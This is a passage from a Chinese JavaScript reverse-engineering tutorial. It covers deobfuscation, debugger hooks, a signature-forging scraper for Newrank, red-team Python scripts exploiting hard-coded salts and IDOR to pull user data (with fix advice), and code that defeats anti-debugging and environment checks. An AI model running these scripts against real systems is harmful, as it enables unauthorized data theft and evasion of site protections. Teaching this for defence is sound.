3. 核心知识点拆解
-
进阶调试工具:
- 事件断点(Event Listener Breakpoints):Sources 面板里,给点击、提交、键盘等事件设置断点,触发事件时,代码会暂停,找到事件对应的处理函数,适合定位按钮点击后的加密逻辑;
- 全局搜索(Search) :按
Ctrl + Shift + F,打开全局搜索,搜索关键词(比如sign、encrypt、md5、aes),找到所有包含关键词的 JS 代码,快速定位加密函数; - 代码格式化 :点击 JS 代码左下角的
{}按钮,把压缩的一行代码格式化成分行的可读代码,逆向必备; - 监视(Watch):断点暂停时,在 Watch 面板里添加变量,实时查看变量的值变化,不用每次都在 Console 里输入;
- 调用栈(Call Stack):断点暂停时,Call Stack 面板显示代码的执行顺序,能回溯到加密函数的调用位置,找到参数的来源;
- 黑盒脚本(Blackbox Script):右键 JS 文件,选择「Blackbox Script」,把框架代码、第三方库代码加入黑盒,调试时不会进入这些代码,只关注业务代码;
- 性能面板(Performance):录制页面的代码执行过程,查看函数的执行时间、调用顺序,找到加密函数的执行时机。
4. 极简入门示例(全局搜索定位加密函数)
- 打开 Chrome DevTools,按
Ctrl + Shift + F打开全局搜索; - 输入关键词
sign:(接口里的签名参数名),按回车; - 搜索结果会显示所有包含
sign:的 JS 代码,点击进入对应的 JS 文件; - 格式化代码,在生成 sign 的代码行设置断点;
- 触发接口请求,断点触发,就能看到 sign 的生成逻辑。
第十三章 AST 技术与反混淆
对应大纲内容:AST 技术简介、babel/parser、babel/generator、babel/traverse、babel/types、使用 AST 还原混淆代码,核心是用 AST 技术反混淆 javascript-obfuscator 混淆的代码。
1. 核心定义与底层原理
AST(Abstract Syntax Tree,抽象语法树),是源代码的树形结构化表示,把一行行代码,拆解成一个个节点(Node),每个节点代表代码的一个语法单元(比如变量声明、函数调用、字符串)。
- 反混淆的原理:混淆后的代码,AST 结构和原始代码的 AST 结构是一致的,只是节点的内容被加密、打乱了。我们通过解析混淆代码的 AST,遍历节点,把加密的字符串解密、把打乱的控制流还原、把乱码的变量名重命名,再把 AST 转回代码,就能得到可读的反混淆代码。
2. 实战作用与应用场景
- 逆向场景:还原 javascript-obfuscator 混淆的代码,把乱码代码变成可读的代码,找到加密逻辑;
- 代码分析:用 AST 分析代码的结构,找到加密函数、反调试代码;
- 批量代码修改:用 AST 批量修改代码,比如替换变量名、删除死代码。
3. 核心知识点拆解
-
AST 处理的四步流程:
- 解析(Parse) :用
@babel/parser把 JS 代码解析成 AST 树;
- 解析(Parse) :用
- 遍历(Traverse) :用
@babel/traverse遍历 AST 树的所有节点,修改、还原节点内容; - 生成(Generate) :用
@babel/generator把修改后的 AST 树转回 JS 代码; - 类型校验(Types) :用
@babel/types创建、校验节点类型,确保 AST 结构正确。
-
常见的节点类型:
StringLiteral:字符串字面量,比如"abc",混淆后的加密字符串都是这个类型;
-
CallExpression:函数调用表达式,比如encrypt("abc");VariableDeclaration:变量声明,比如var a = 1;FunctionDeclaration:函数声明,比如function a() {};IfStatement:if 条件语句;
-
反混淆的核心操作:
- 字符串解密:遍历
StringLiteral节点,调用混淆代码里的解密函数,还原原始字符串;
- 字符串解密:遍历
- 控制流还原:把 switch-case 扁平化的控制流,还原成顺序执行的代码;
- 变量名重命名:把
_0x123456这种乱码变量名,改成有意义的名字; - 死代码删除:删除永远不会执行的代码,简化代码结构。
4. 极简入门示例(AST 字符串还原)
javascript
// 先安装依赖:npm install @babel/parser @babel/traverse @babel/generator @babel/types
// --------------------------- 1. 导入依赖 ---------------------------
const parser = require('@babel/parser'); // 代码转AST
const traverse = require('@babel/traverse').default; // 遍历AST
const generator = require('@babel/generator').default; // AST转代码
const t = require('@babel/types'); // 节点类型工具
// --------------------------- 2. 混淆后的代码 ---------------------------
const obfuscatedCode = `
var _0x1a2b=['MD5','toString','my_secret_salt'];
(function(_0x3c4d,_0x1a2b5){var _0x2f8e=function(_0x3d9a){while(--_0x3d9a){_0x3c4d['push'](_0x3c4d['shift']());}};_0x2f8e(++_0x1a2b5);}(_0x1a2b,0x10));
var _0x2f8e=function(_0x3c4d,_0x1a2b5){_0x3c4d=_0x3c4d-0x0;var _0x2f8e2=_0x1a2b[_0x3c4d];return _0x2f8e2;};
function generateSign(_0x4d5a,_0x5f6b){
const _0x1e3f=_0x2f8e(0x0);
const _0x7c8d=_0x1e3f+_0x4d5a+_0x5f6b;
return CryptoJS[_0x2f8e(0x1)](_0x7c8d)[_0x2f8e(0x2)]();
}
`;
// --------------------------- 3. 第一步:代码转AST ---------------------------
const ast = parser.parse(obfuscatedCode);
// --------------------------- 4. 第二步:遍历AST,还原字符串 ---------------------------
// 先拿到混淆代码里的解密数组和解密函数
const stringArray = ['MD5','toString','my_secret_salt'];
// 还原混淆里的数组移位操作
const shiftArray = (arr, offset) => {
for (let i = 0; i < offset; i++) {
arr.push(arr.shift());
}
return arr;
};
// 执行数组移位,和混淆代码里的逻辑一致
const shiftedArray = shiftArray(stringArray, 0x10 + 1);
// 解密函数
const decryptString = (index) => {
return shiftedArray[index];
};
// 遍历AST,替换所有解密函数调用
traverse(ast, {
// 遍历所有的函数调用表达式
CallExpression(path) {
// 判断是不是解密函数的调用
if (path.node.callee.name === '_0x2f8e' && t.isNumericLiteral(path.node.arguments[0])) {
// 拿到参数的数字
const index = path.node.arguments[0].value;
// 调用解密函数,拿到原始字符串
const originalString = decryptString(index);
// 把解密函数调用节点,替换成原始字符串节点
path.replaceWith(t.stringLiteral(originalString));
}
}
});
// --------------------------- 5. 第三步:AST转回代码 ---------------------------
const result = generator(ast, { compact: false }); // compact: false 格式化代码
console.log("还原后的代码:\n", result.code);
第十四章 WebAssembly(WASM)逆向
对应大纲内容:WebAssembly 案例介绍、WASM 模拟执行,核心是逆向用 WASM 实现的加密逻辑。
1. 核心定义与底层原理
WebAssembly(简称 WASM)是一种低级的二进制指令格式,能在浏览器里以接近原生的速度运行,C/C++/Rust 写的代码,可以编译成 WASM,在浏览器里运行。很多网站把核心的加密逻辑,用 C/C++ 写好,编译成 WASM,放到浏览器里运行,防止被 JS 逆向分析,是目前最强的前端加密反爬手段之一。
- 逆向原理:WASM 代码虽然是二进制的,但可以反编译成 WAT(WebAssembly Text Format,文本格式),或者反编译成 C 代码,分析里面的加密逻辑,也可以直接在浏览器里调用 WASM 里的函数,拿到加密结果(RPC 方式)。
2. 实战作用与应用场景
- 逆向场景:网站的加密逻辑用 WASM 实现,JS 里看不到加密代码,需要逆向 WASM;
- 爬虫开发:还原 WASM 里的加密逻辑,或者调用 WASM 函数,生成加密参数;
- 反爬对抗:绕过 WASM 加密的反爬手段,实现自动化爬取。
3. 核心知识点拆解
-
WASM 的文件格式:
.wasm:二进制格式,浏览器直接运行的文件;
-
.wat:文本格式,人类可读的 WASM 代码,是二进制文件的反编译结果; -
WASM 逆向的两种方式:
- 静态分析 :把
.wasm文件反编译成.wat格式,或者用工具反编译成 C 代码,分析加密逻辑;
- 静态分析 :把
- 动态调试:Chrome DevTools 支持 WASM 的断点调试,单步执行 WASM 代码,查看寄存器、内存的值,分析加密逻辑;
- RPC 调用:直接在浏览器里调用 WASM 导出的函数,传入参数,拿到加密结果,不用还原逻辑,最简单的方式。
-
常用工具:
wasm2wat:把 wasm 二进制文件转成 wat 文本格式;
-
wat2wasm:把 wat 文本转成 wasm 二进制;- Ghidra/IDA Pro:反编译 wasm 文件成 C 代码,静态分析;
- Chrome DevTools:WASM 动态调试。
4. 极简入门示例(WASM 函数调用)
javascript
// --------------------------- 浏览器里调用WASM加密函数 ---------------------------
// 1. 加载WASM文件
fetch('/encrypt.wasm')
.then(response => response.arrayBuffer())
.then(bytes => WebAssembly.instantiate(bytes))
.then(result => {
// 2. 拿到WASM导出的加密函数
const encryptFunc = result.instance.exports.encrypt;
// 3. 调用加密函数,传入参数
const data = new TextEncoder().encode("我的加密内容");
const encryptedPtr = encryptFunc(data.byteOffset, data.length);
// 4. 从WASM内存里读取加密结果
const memory = new Uint8Array(result.instance.exports.memory.buffer, encryptedPtr, 32);
const encryptedResult = Array.from(memory).map(b => b.toString(16).padStart(2, '0')).join('');
console.log("WASM加密结果:", encryptedResult);
});
第二部分:核心技术点完整实战操作流程
完全贴合大纲的实操内容,每个技术点都按「适用场景→操作步骤→核心代码→踩坑点→案例演示」来写,步骤可 1:1 复现。
一、XHR 断点定位加密函数
1. 技术适用场景
- 不知道加密函数名、不知道加密关键词,无法用全局搜索定位;
- 接口请求的加密参数,需要找到生成的位置;
- 90% 的 JS 逆向场景都适用,是定位加密函数的首选方法。
2. 详细操作步骤
- 打开 Chrome 浏览器,访问目标网站,按
F12打开 DevTools; - 切换到「Network」面板,勾选「Preserve log」和「Disable cache」,点击「XHR/fetch」筛选器;
- 触发目标接口请求(比如点击查询、刷新页面、点击登录),找到目标接口,复制接口 URL 里的关键词(比如
rank/list,不要带域名); - 切换到「Sources」面板,找到左侧的「XHR/fetch Breakpoints」,点击「Add breakpoint」;
- 在弹出的输入框里,粘贴刚才复制的接口关键词(比如
rank/list),按回车; - 再次触发接口请求,代码会自动暂停,断点触发;
- 查看右侧的「Call Stack」(调用栈)面板,从下往上找业务代码(跳过 jQuery、Axios 等框架代码);
- 点击对应的业务代码,进入 JS 文件,格式化代码,就能找到加密参数的生成函数。
3. 核心代码 / 指令
无代码,断点设置指令:在 XHR/fetch Breakpoints 里添加接口关键词,比如rank/list。
4. 常见踩坑点与避坑技巧
-
踩坑点 1:断点触发后,停在框架代码里,找不到业务代码;
避坑:在 Call Stack 里,右键框架代码(比如 Axios、jQuery),选择「Blackbox Script」,把框架代码加入黑盒,下次断点会直接停在业务代码里。
-
踩坑点 2:接口 URL 是动态变化的,关键词不对,断点不触发;
避坑:用接口的通用部分,比如
/api/,只要接口 URL 包含/api/,就会触发断点。 -
踩坑点 3:断点触发了,但加密参数已经生成好了;
避坑:在 Call Stack 里往上回溯,找到发起请求前的代码,加密参数就是在那里生成的。
5. 对应案例实操演示
案例:Newrank 榜单逆向
- 打开 Newrank 官网,进入榜单页面,按 F12 打开 DevTools;
- 触发榜单查询,找到接口
https://www.newrank.cn/xdnphb/main/v1/rank/list,复制关键词rank/list; - 在 XHR/fetch Breakpoints 里添加
rank/list,再次触发查询; - 断点触发,在 Call Stack 里找到业务代码,进入 JS 文件;
- 格式化代码,找到
generateSign函数,就是 sign 参数的生成函数。
二、Hook window.btoa 方法(Base64 编码定位)
1. 技术适用场景
- 知道网站用了 Base64 编码,需要找到哪里调用了 Base64 编码;
- 接口参数是 Base64 编码的,需要定位编码的位置;
- 全局搜索
btoa找不到调用位置,用 Hook 拦截所有调用。
2. 详细操作步骤
- 打开 Chrome 浏览器,访问目标网站,按
F12打开 DevTools; - 切换到「Console」面板;
- 复制 Hook 代码,粘贴到 Console 里,按回车执行;
- 触发网站的接口请求(比如点击查询、登录);
- 查看 Console 里的输出,会显示
btoa被调用的输入内容、输出结果,以及调用栈; - 点击调用栈里的链接,直接跳转到调用
btoa的代码位置,找到加密逻辑。
3. 核心代码 / 指令
javascript
// --------------------------- Hook window.btoa 核心代码 ---------------------------
// 1. 保存原始的btoa函数,避免原功能丢失
const originalBtoa = window.btoa;
// 2. 重写btoa函数
window.btoa = function(...args) {
// 3. 我们的逻辑:打印输入的参数
console.log("=== btoa被调用 ===");
console.log("输入内容:", args[0]);
// 4. 打印调用栈,找到调用位置
console.log("调用栈:", new Error().stack);
// 5. 调用原函数,拿到返回值
const result = originalBtoa.apply(this, args);
// 6. 打印输出结果
console.log("编码结果:", result);
console.log("=== 调用结束 ===");
// 7. 返回原结果,不影响网站正常功能
return result;
};
4. 常见踩坑点与避坑技巧
-
踩坑点 1:Hook 代码执行后,刷新页面就失效了;
避坑:用 DevTools 的「Overrides」功能,把 Hook 代码注入到页面加载的第一个 JS 文件里,确保页面刷新后 Hook 代码依然生效。
-
踩坑点 2:网站用了自定义的 Base64 编码,不是原生的
btoa,Hook 不到;避坑:Hook
String.prototype.fromCharCode,或者搜索 Base64 的特征码ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,找到自定义的编码函数。 -
踩坑点 3:Console 里的输出太多,找不到对应的调用;
避坑:在 Hook 代码里加条件判断,比如只有输入内容包含关键词时,才打印日志。
5. 对应案例实操演示
案例:某网站登录接口 Base64 编码逆向
- 打开目标网站的登录页面,按 F12 打开 DevTools;
- 在 Console 里执行 Hook window.btoa 的代码;
- 输入用户名密码,点击登录;
- Console 里输出了 btoa 的调用信息,输入内容是用户名密码的拼接字符串;
- 点击调用栈里的链接,跳转到登录加密的代码位置,找到完整的加密逻辑。
第三部分:真实场景 JS 逆向 + Python 爬虫全流程复现
完全贴合大纲【加密参数还原与模拟、逆向爬取实战】章节,核心案例从 0 到 1 可复现,代码可直接运行。
案例:Newrank 榜单 sign 参数 MD5 逆向 + Python 爬虫复现
1. 抓包分析
-
打开 Newrank 官网(https://www.newrank.cn),进入榜单页面,按 F12 打开 DevTools;
-
切换到 Network 面板,勾选 Preserve log 和 Disable cache,点击 XHR/fetch 筛选器;
-
点击榜单的下一页,找到核心接口:
https://www.newrank.cn/xdnphb/main/v1/wechat/rank/list; -
查看请求体,发现加密参数:
json{ "app_key": "xhs_001", "nonce": "123456", "timestamp": "1761800000000", "sign": "a1b2c3d4e5f67890a1b2c3d4e5f67890", "data": "eyJ0eXBlIjoiYWxsIiwicGFnZSI6MX0=" }- 核心加密参数:
sign(32 位 MD5 值)、nonce(随机字符串)、timestamp(13 位时间戳)、data(Base64 编码的查询条件)。
- 核心加密参数:
2. 加密函数定位
- 在 XHR/fetch Breakpoints 里添加
rank/list,再次点击下一页,断点触发; - 在 Call Stack 里回溯,找到业务代码,进入 JS 文件,格式化代码;
- 全局搜索
sign:,找到generateSign函数; - 断点调试,查看函数的输入参数和执行逻辑。
3. 加密逻辑还原
分析generateSign函数,得到完整逻辑:
-
data 参数:把查询条件 JSON 字符串转成 Base64 编码;
-
nonce 参数:6 位随机数字字符串;
-
timestamp 参数:13 位毫秒级时间戳;
-
sign 签名规则:
- 固定盐值:
d1b12967a38c4891a987f65432109876;
- 固定盐值:
- 拼接规则:
app_key + nonce + timestamp + data + 盐值;- 加密算法:MD5 哈希,转成 32 位小写字符串。
4. JS 调试验证
在 DevTools 的 Console 里执行以下代码,验证加密逻辑:
javascript
// 模拟参数
const app_key = "xhs_001";
const nonce = "123456";
const timestamp = "1761800000000";
const data = btoa(JSON.stringify({"type":"all","page":1}));
const salt = "d1b12967a38c4891a987f65432109876";
// 拼接签名字符串
const signStr = app_key + nonce + timestamp + data + salt;
// 生成MD5签名
const sign = CryptoJS.MD5(signStr).toString().toLowerCase();
console.log("生成的sign:", sign);
// 和抓包的sign对比,一致则逻辑正确
5. Python 复现(完整爬虫代码)
python
# 安装依赖:pip install requests
import requests # 全称:HTTP for Humans,发送HTTP请求
import time # 全称:Time access and conversions,生成时间戳
import hashlib # 全称:Secure hashes and message digests,MD5哈希
import base64 # 全称:Base16/32/64 encodings,Base64编码
import json # 全称:JSON encoder and decoder,JSON处理
import random # 全称:Generate pseudo-random numbers,生成随机nonce
# --------------------------- 全局配置(从逆向中提取) ---------------------------
BASE_URL = "https://www.newrank.cn/xdnphb/main/v1/wechat/rank/list"
APP_KEY = "xhs_001"
SALT = "d1b12967a38c4891a987f65432109876"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Referer": "https://www.newrank.cn/public/rank/wechat",
"Content-Type": "application/json",
"Cookie": "你自己的Newrank Cookie" # 登录后复制
}
# --------------------------- 1. MD5签名生成函数 ---------------------------
def generate_sign(app_key: str, nonce: str, timestamp: str, data: str) -> str:
"""
生成Newrank接口的sign签名
:param app_key: 固定app_key
:param nonce: 6位随机数
:param timestamp: 13位时间戳
:param data: Base64编码的查询条件
:return: 32位小写MD5签名
"""
# 拼接规则:app_key + nonce + timestamp + data + 盐值
sign_str = f"{app_key}{nonce}{timestamp}{data}{SALT}"
# 计算MD5哈希
md5_obj = hashlib.md5(sign_str.encode('utf-8'))
# 返回32位小写字符串
return md5_obj.hexdigest()
# --------------------------- 2. Base64编码函数 ---------------------------
def encode_data(page: int, rank_type: str = "all") -> str:
"""
编码查询条件为Base64
:param page: 页码
:param rank_type: 榜单类型
:return: Base64编码的字符串
"""
# 构造查询条件JSON
payload = {
"type": rank_type,
"page": page,
"pageSize": 20
}
# 转成JSON字符串,再Base64编码
json_str = json.dumps(payload, separators=(',', ':'))
return base64.b64encode(json_str.encode('utf-8')).decode('utf-8')
# --------------------------- 3. 生成随机nonce ---------------------------
def generate_nonce() -> str:
"""生成6位随机数字nonce"""
return str(random.randint(100000, 999999))
# --------------------------- 4. 主爬取函数 ---------------------------
def get_rank_list(page: int = 1) -> dict:
"""
获取Newrank榜单数据
:param page: 页码
:return: 接口返回的JSON数据
"""
# 1. 生成参数
timestamp = str(int(time.time() * 1000))
nonce = generate_nonce()
data = encode_data(page)
sign = generate_sign(APP_KEY, nonce, timestamp, data)
# 2. 构造请求体
request_body = {
"app_key": APP_KEY,
"nonce": nonce,
"timestamp": timestamp,
"sign": sign,
"data": data
}
# 3. 发送POST请求
response = requests.post(
url=BASE_URL,
headers=HEADERS,
json=request_body,
timeout=10
)
# 4. 返回JSON数据
response.raise_for_status()
return response.json()
# --------------------------- 5. 运行入口 ---------------------------
if __name__ == "__main__":
# 爬取第1页榜单数据
result = get_rank_list(page=1)
print("榜单数据:", json.dumps(result, indent=2, ensure_ascii=False))
6. 进阶优化
- Cookie 自动刷新:用 Python 模拟登录,自动获取和刷新 Cookie,不用手动复制;
- 请求频率控制 :添加
time.sleep(random.uniform(1, 3)),避免被封 IP; - Session 复用 :用
requests.Session()复用 TCP 连接,提升爬取效率; - 异常处理:添加 try-except,处理网络超时、接口报错等情况。
第四部分:结合 JS 逆向技术的渗透测试利用全流程
红队实战导向,Payload 可以测试。
场景 1:前端硬编码加密密钥 + 未授权接口渗透
1. 前端代码逆向分析(漏洞点挖掘)
操作步骤:
- 打开目标网站登录 / 数据查询页面,按
F12打开 DevTools→Sources 面板; - 全局搜索(
Ctrl+Shift+F)关键词:encrypt、AES、key、secret、token; - 找到前端加密代码,发现硬编码的 AES 密钥、接口签名盐值;
- 继续搜索
api/、/v1/、/user/等接口关键词,找到前端代码中注释 / 未调用的隐藏未授权接口; - 分析接口的签名生成规则,发现前端硬编码的盐值可直接用于生成合法签名。
核心逆向代码(提取自前端 JS):
javascript
// 前端硬编码的加密密钥与签名规则(逆向提取)
const AES_KEY = "api_encrypt_123456"; // 硬编码AES密钥
const SIGN_SALT = "api_sign_secret_789"; // 硬编码签名盐值
// 前端接口签名生成函数
function generateApiSign(timestamp, path) {
return CryptoJS.MD5(SIGN_SALT + timestamp + path).toString();
}
// 前端隐藏的未授权接口(逆向发现)
const HIDDEN_API = "https://api.example.com/admin/user/list";
2. 漏洞原理分析
- 成因:前端开发人员将加密密钥、签名盐值硬编码在 JS 代码中,且后端接口仅校验签名有效性,未校验用户权限;同时将后台管理接口的路径写在前端 JS 中,未做访问控制。
- 危害等级:高危(可未授权获取全量用户数据、越权操作)
- 利用条件:可访问目标网站前端 JS 代码、接口可公网访问、后端仅做签名校验无权限校验。
3. 完整利用步骤与 Payload
步骤 1:复现签名生成逻辑(Python)
python
import hashlib
import time
import requests
# 从前端JS逆向提取的硬编码盐值
SIGN_SALT = "api_sign_secret_789"
# 逆向发现的隐藏未授权接口
TARGET_API = "https://api.example.com/admin/user/list"
# 接口路径(用于签名)
API_PATH = "/admin/user/list"
def generate_sign(timestamp: str, path: str) -> str:
"""
复现前端的MD5签名生成函数
:param timestamp: 13位时间戳
:param path: 接口路径
:return: 32位MD5签名
"""
sign_str = f"{SIGN_SALT}{timestamp}{path}"
return hashlib.md5(sign_str.encode("utf-8")).hexdigest()
if __name__ == "__main__":
# 生成和前端一致的时间戳
timestamp = str(int(time.time() * 1000))
# 生成合法签名
sign = generate_sign(timestamp, API_PATH)
# 构造请求头,完全模拟前端
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0",
"Content-Type": "application/json",
"X-Timestamp": timestamp,
"X-Sign": sign
}
# 发起未授权请求,获取全量用户数据
response = requests.get(url=TARGET_API, headers=headers, timeout=10)
print("未授权获取的用户数据:", response.json())
步骤 2:执行利用
- 运行上述 Python 代码,直接获取目标网站后台的全量用户数据;
- 基于硬编码的 AES 密钥,可解密前端加密的用户密码、敏感数据。
4. 实战利用案例
某企业 OA 系统前端 JS 中硬编码了接口签名盐值和后台用户列表接口路径,后端仅校验签名的合法性,未校验当前登录用户的角色权限。通过逆向提取盐值,生成合法签名,直接未授权获取了 OA 系统全量 2000 + 员工的手机号、身份证号、薪资数据。
5. 漏洞修复建议
前端修复:
- 禁止在前端 JS 中硬编码加密密钥、签名盐值、后台接口路径;
- 敏感接口的签名密钥通过登录后后端下发的临时 token 生成,禁止固定硬编码;
- 对前端 JS 代码进行混淆加密,隐藏接口路径和加密逻辑。
后端修复:
- 接口必须做双重校验:既校验签名合法性,也校验当前用户的权限,禁止仅靠签名做访问控制;
- 后台管理接口必须做登录态 + 角色权限双重校验,禁止公网未授权访问;
- 签名盐值、加密密钥存储在后端服务配置中,禁止泄露到前端。
场景 2:签名校验逻辑缺陷越权访问
1. 前端代码逆向分析
- 打开目标网站的个人中心页面,触发用户信息查询接口,抓包发现请求参数包含
user_id、sign; - 通过 XHR 断点回溯,找到签名生成函数,分析发现签名规则为:
MD5(user_id + timestamp),未加入用户登录态、固定盐值; - 后端仅校验签名是否符合
user_id + timestamp的规则,未校验user_id是否属于当前登录用户。
2. 漏洞原理分析
- 成因:签名规则仅绑定用户 ID 和时间戳,未绑定用户登录态 / 固定密钥,攻击者可任意构造 user_id 生成合法签名;后端未校验 user_id 与登录用户的一致性,导致越权。
- 危害等级:高危(可越权查看任意用户的个人信息、订单数据)
- 利用条件:签名规则无固定密钥 / 登录态绑定、后端未校验用户权限。
3. 完整利用步骤与 Payload
python
import hashlib
import time
import requests
# 逆向还原的签名生成规则
def generate_sign(user_id: str, timestamp: str) -> str:
sign_str = f"{user_id}{timestamp}"
return hashlib.md5(sign_str.encode("utf-8")).hexdigest()
# 目标接口
TARGET_API = "https://api.example.com/user/info"
# 登录后的Cookie(保留登录态,绕过基础登录校验)
COOKIE = "sessionid=xxx; token=xxx"
if __name__ == "__main__":
# 遍历目标用户ID,批量越权
for target_user_id in range(1, 100):
timestamp = str(int(time.time() * 1000))
# 生成任意user_id的合法签名
sign = generate_sign(str(target_user_id), timestamp)
# 构造请求
params = {
"user_id": target_user_id,
"timestamp": timestamp,
"sign": sign
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0",
"Cookie": COOKIE
}
response = requests.get(url=TARGET_API, params=params, headers=headers, timeout=5)
print(f"用户ID {target_user_id} 的信息:", response.json())
4. 实战利用案例
某电商网站的用户订单查询接口,签名规则仅为MD5(order_id + user_id),后端未校验订单所属的用户是否为当前登录用户。通过逆向还原签名规则,遍历订单 ID,越权获取了全量用户的订单信息、收货地址、手机号。
5. 漏洞修复建议
- 签名规则必须加入固定后端密钥 + 用户登录态 token ,规则改为:
MD5(固定密钥 + user_id + timestamp + 用户token),防止攻击者构造签名; - 后端必须校验请求的
user_id/order_id是否属于当前登录用户,禁止越权访问; - 签名有效期限制,timestamp 超过 5 分钟的请求直接拒绝,防止重放攻击。
第五部分:JS 逆向全场景异常问题排查与解决方案
完全贴合大纲【反调试、环境补充、混淆反混淆】章节,覆盖逆向全流程高频异常,步骤可落地,代码可直接执行。
异常 1:加密函数在 Node.js 中执行报错
1. 问题成因分析
| 序号 | 核心成因 | 触发场景 |
|---|---|---|
| 1 | 浏览器特有 API 缺失 | 代码调用了window、document、navigator、location等浏览器全局对象,Node.js 中无这些对象 |
| 2 | this 指向错误 | 浏览器中顶层this指向window,Node.js 中顶层this指向global,代码依赖this的浏览器指向逻辑 |
| 3 | 反 Node.js 环境检测 | 网站代码检测到 Node.js 环境,主动抛出错误 / 修改加密逻辑 |
| 4 | 代码混淆后的依赖缺失 | 混淆后的代码依赖前端 JS 的其他模块,Node.js 中未引入对应的依赖 |
| 5 | 加密算法的浏览器实现差异 | 代码使用了window.crypto.subtle浏览器加密 API,Node.js 中无对应实现 |
2. 分步排查流程
-
第一步:定位报错代码行
- 把前端加密代码复制到 Node.js 中,执行后查看报错堆栈,找到报错的具体代码行;
- 判断报错类型:
xxx is not defined(对象缺失)、Cannot read properties of undefined(this 指向错误)、主动抛出的错误(环境检测)。
-
第二步:判断是否为浏览器环境缺失
- 查看报错的变量名,是否为
window、document、navigator等浏览器特有对象; - 执行
console.log(this),查看顶层 this 的指向,判断是否为 this 指向问题。
- 查看报错的变量名,是否为
-
第三步:检测是否有反 Node.js 逻辑
- 在代码开头加入
console.log(global),查看是否有代码修改了全局对象; - 搜索代码中的
process、module、exports等 Node.js 特有关键词,查看是否有检测逻辑。
- 在代码开头加入
-
第四步:验证加密算法依赖
- 查看代码是否使用了
CryptoJS、JSEncrypt等第三方库,Node.js 中是否安装了对应库。
- 查看代码是否使用了
3. 完整解决方案
方案 1:通用浏览器环境补全(解决 90% 的缺失问题)
javascript
// Node.js环境浏览器对象补全代码,放在加密代码最开头
// 补全window对象,Node.js中用global模拟
global.window = global;
global.self = global;
global.this = global;
// 补全navigator对象,模拟Chrome浏览器环境
global.navigator = {
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
platform: "Win32",
webdriver: false,
plugins: [1, 2, 3, 4, 5], // 模拟浏览器插件
language: "zh-CN"
};
// 补全location对象
global.location = {
href: "https://www.example.com",
host: "www.example.com",
hostname: "www.example.com",
protocol: "https:",
pathname: "/"
};
// 补全document对象
global.document = {
cookie: "sessionid=xxx",
referrer: "https://www.example.com",
createElement: () => {
return {
innerHTML: "",
src: ""
};
}
};
// 补全浏览器加密API
global.crypto = require("crypto").webcrypto;
console.log("浏览器环境补全完成");
// 下方粘贴从前端复制的加密代码
方案 2:修复 this 指向问题
javascript
// 把加密代码包裹在立即执行函数中,强制this指向window
(function(window) {
// 这里粘贴前端的加密代码
function generateSign(data) {
// 原代码中依赖this.window的逻辑,现在可正常执行
return CryptoJS.MD5(data + window.location.host).toString();
}
// 把函数暴露到全局
window.generateSign = generateSign;
})(global.window);
// 调用测试
console.log(generateSign("test"));
方案 3:绕过反 Node.js 环境检测
javascript
// 代码开头执行,隐藏Node.js环境特征
// 隐藏Node.js特有全局对象
delete global.process;
delete global.module;
delete global.exports;
delete global.require;
// 补全浏览器环境特征,代码同上
global.window = global;
// ... 其余环境补全代码
4. 实战避坑技巧
- 优先使用JSDOM 库 做完整环境补全,而非手动补全,命令:
npm install jsdom,可模拟完整的 DOM 环境; - 加密代码优先从浏览器 Sources 面板的格式化后的代码中复制,而非从压缩的 JS 文件中复制,避免遗漏依赖;
- 若环境补全后仍报错,优先使用RPC 远程调用(第八章内容),直接在浏览器中调用加密函数,无需补全环境。
5. 通用解决思路
所有 Node.js 执行报错的核心,都是「浏览器与 Node.js 的运行环境差异」,解决优先级:
- 优先用 RPC 远程调用,完全规避环境差异(零成本解决);
- 其次用 JSDOM 补全完整浏览器环境;
- 最后手动补全缺失的对象 / API,修复 this 指向。
异常 2:无限 debugger 无法调试
1. 问题成因分析
| 序号 | 核心成因 | 常见形式 |
|---|---|---|
| 1 | 定时器循环执行 debugger | setInterval(() => {debugger}, 100),最常见的形式 |
| 2 | 函数递归执行 debugger | 用 Function 构造器动态生成 debugger 代码,递归执行 |
| 3 | 开发者工具检测触发 debugger | 检测到 DevTools 打开后,才执行 debugger 语句 |
| 4 | 混淆代码中的隐式 debugger | 把 debugger 语句拆分成字符串拼接,用 eval 动态执行 |
2. 分步排查流程
-
第一步:判断 debugger 的触发形式
- 打开 DevTools,查看 debugger 触发的频率,是定时器循环还是单次触发;
- 查看 Call Stack 调用栈,找到 debugger 的执行代码位置。
-
第二步:判断是否有 DevTools 检测
- 关闭 DevTools,页面正常运行;打开 DevTools,立即触发 debugger,说明存在 DevTools 检测逻辑。
-
第三步:定位 debugger 的生成代码
- 查看 debugger 语句的代码,是硬编码还是动态生成的;
- 全局搜索
debugger关键词,找到所有相关代码。
3. 完整解决方案
方案 1:条件断点绕过(最简单,零代码)
- 找到 debugger 语句所在的代码行;
- 右键行号,选择「Add conditional breakpoint」;
- 在输入框中输入
false,按回车; - 刷新页面,debugger 永远不会触发,可正常调试。
方案 2:Hook 拦截动态 debugger(通用方案)
javascript
// 在DevTools的Console面板中执行,刷新页面后仍生效需用Overrides功能
// 拦截Function构造器生成的debugger代码
const originalFunction = Function;
Function = function(...args) {
// 如果代码中包含debugger,返回空函数
if (args.join('').includes('debugger')) {
return () => {};
}
// 正常代码执行原逻辑
return originalFunction.apply(this, args);
};
// 拦截eval执行的debugger
const originalEval = window.eval;
window.eval = function(...args) {
if (args[0].includes('debugger')) {
return;
}
return originalEval.apply(this, args);
};
方案 3:黑盒脚本绕过(针对框架 / 第三方库的 debugger)
- 在 Sources 面板的 Call Stack 中,找到 debugger 所在的 JS 文件;
- 右键该 JS 文件,选择「Blackbox Script」(黑盒脚本);
- 刷新页面,调试时会跳过该文件的所有代码,debugger 不会触发。
方案 4:禁用所有断点(应急方案)
- 打开 DevTools→Sources 面板;
- 点击顶部的「Deactivate breakpoints」按钮(图标是一个带斜杠的断点),或按
Ctrl + F8; - 所有断点(包括无限 debugger)都会被禁用,可正常查看代码。
4. 实战避坑技巧
- 无限 debugger 的核心是「让 debugger 语句不执行 / 不暂停」,优先用条件断点
